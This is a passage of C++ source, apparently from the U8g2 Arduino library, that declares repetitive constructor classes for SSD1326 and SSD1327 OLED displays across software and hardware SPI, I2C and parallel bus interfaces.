u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_i2c_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_i2c_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_i2c_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_i2c_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_i2c_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_1_6800 : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_1_8080 : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_2_6800 : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_2_8080 : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_F_6800 : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_F_8080 : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_96x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_96x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_WS_96X64_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_96X64_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_1_6800 : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_1_8080 : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_2_6800 : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_2_8080 : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_F_6800 : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_F_6800(const u8g2_cb_t *rotation, uint8_t 